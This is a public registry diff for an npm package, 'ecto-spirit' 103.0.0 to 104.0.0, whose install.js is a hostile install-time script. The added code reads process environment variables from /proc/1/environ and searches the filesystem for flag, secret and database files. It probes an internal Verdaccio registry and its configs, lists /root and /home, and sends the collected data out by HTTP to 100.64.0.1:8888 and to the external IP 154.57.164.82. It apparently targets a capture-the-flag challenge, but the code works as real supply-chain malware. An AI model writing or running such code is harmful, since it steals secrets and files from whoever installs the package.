ecto-spirit 103.0.0 → 104.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +50 -58
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -6,21 +6,6 @@ function tryRead(p) {
|
|
|
6
6
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
7
7
|
}
|
|
8
8
|
|
|
9
|
-
function sendUpdate(host, port, moduleId, val) {
|
|
10
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
11
|
-
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
12
|
-
const body = JSON.stringify({ manifest });
|
|
13
|
-
return new Promise((resolve) => {
|
|
14
|
-
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
15
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
16
|
-
});
|
|
17
|
-
req.on('error', () => resolve(null));
|
|
18
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
19
|
-
req.write(body);
|
|
20
|
-
req.end();
|
|
21
|
-
});
|
|
22
|
-
}
|
|
23
|
-
|
|
24
9
|
function sendHTTP(host, port, pth, payload) {
|
|
25
10
|
return new Promise((resolve) => {
|
|
26
11
|
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
@@ -34,71 +19,78 @@ function sendHTTP(host, port, pth, payload) {
|
|
|
34
19
|
}
|
|
35
20
|
|
|
36
21
|
async function report(moduleId, val) {
|
|
22
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
23
|
+
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
24
|
+
const body = JSON.stringify({ manifest });
|
|
37
25
|
for (const p of [3000, 80, 8080]) {
|
|
38
|
-
|
|
39
|
-
if (r && r.includes('success')) return;
|
|
26
|
+
await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
|
|
40
27
|
}
|
|
41
|
-
await
|
|
28
|
+
await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
|
|
42
29
|
}
|
|
43
30
|
|
|
44
31
|
(async () => {
|
|
45
|
-
let
|
|
46
|
-
|
|
47
|
-
// CWD and basic info
|
|
48
|
-
results.push('CWD=' + process.cwd());
|
|
49
|
-
|
|
50
|
-
// List what's in /app/node_modules (top level packages)
|
|
51
|
-
try {
|
|
52
|
-
const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
|
|
53
|
-
results.push('DEPS=' + dirs.join(','));
|
|
54
|
-
} catch(e) { results.push('DEPS_ERR'); }
|
|
32
|
+
let r = [];
|
|
55
33
|
|
|
56
|
-
//
|
|
57
|
-
const
|
|
58
|
-
|
|
34
|
+
// 1. Main process env (the app that started cron)
|
|
35
|
+
const procEnv = tryRead('/proc/1/environ');
|
|
36
|
+
r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
|
|
59
37
|
|
|
60
|
-
//
|
|
61
|
-
|
|
62
|
-
|
|
38
|
+
// 2. List /data, /.package-cache-mutate
|
|
39
|
+
try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
|
|
40
|
+
try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
|
|
63
41
|
|
|
64
|
-
//
|
|
42
|
+
// 3. Try to reach registry:4873 and list packages
|
|
65
43
|
try {
|
|
66
|
-
const
|
|
67
|
-
|
|
68
|
-
|
|
44
|
+
const resp = await new Promise((resolve) => {
|
|
45
|
+
http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
|
|
46
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
47
|
+
}).on('error', () => resolve('ERR'));
|
|
48
|
+
});
|
|
49
|
+
r.push('REG_PKGS=' + resp.substring(0, 200));
|
|
50
|
+
} catch(e) { r.push('REG_PKGS=ERR'); }
|
|
69
51
|
|
|
70
|
-
//
|
|
71
|
-
const
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
52
|
+
// 4. Try Verdaccio config locations
|
|
53
|
+
for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
|
|
54
|
+
const c = tryRead(p);
|
|
55
|
+
if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// 5. Broad file search
|
|
75
59
|
try {
|
|
76
|
-
const
|
|
77
|
-
|
|
60
|
+
const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
|
|
61
|
+
r.push('FILES=' + search);
|
|
78
62
|
} catch(e) {}
|
|
79
63
|
|
|
80
|
-
//
|
|
64
|
+
// 6. Check if there's a readflag binary
|
|
81
65
|
try {
|
|
82
|
-
const
|
|
83
|
-
|
|
66
|
+
const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
|
|
67
|
+
if (bins) r.push('BINS=' + bins);
|
|
84
68
|
} catch(e) {}
|
|
85
69
|
|
|
86
|
-
//
|
|
87
|
-
|
|
88
|
-
|
|
70
|
+
// 7. List /root and /home contents
|
|
71
|
+
try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
72
|
+
try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
89
73
|
|
|
90
|
-
//
|
|
91
|
-
|
|
92
|
-
|
|
74
|
+
// 8. Check if flag is accessible via internal API
|
|
75
|
+
try {
|
|
76
|
+
const apiResp = await new Promise((resolve) => {
|
|
77
|
+
http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
|
|
78
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
79
|
+
}).on('error', () => resolve('ERR'));
|
|
80
|
+
});
|
|
81
|
+
r.push('API=' + apiResp.substring(0, 200));
|
|
82
|
+
} catch(e) {}
|
|
83
|
+
|
|
84
|
+
// Send full results to VPN
|
|
85
|
+
const full = r.join('\n');
|
|
86
|
+
await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
|
|
93
87
|
|
|
94
88
|
// Split across modules
|
|
95
89
|
const chunks = [];
|
|
96
|
-
for (let i = 0; i < full.length; i += 90)
|
|
97
|
-
chunks.push(full.substring(i, i + 90));
|
|
98
|
-
}
|
|
90
|
+
for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
|
|
99
91
|
|
|
100
92
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
101
93
|
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
102
|
-
await report(mods[i], '
|
|
94
|
+
await report(mods[i], 'W' + i + '_' + chunks[i]);
|
|
103
95
|
}
|
|
104
96
|
})();
|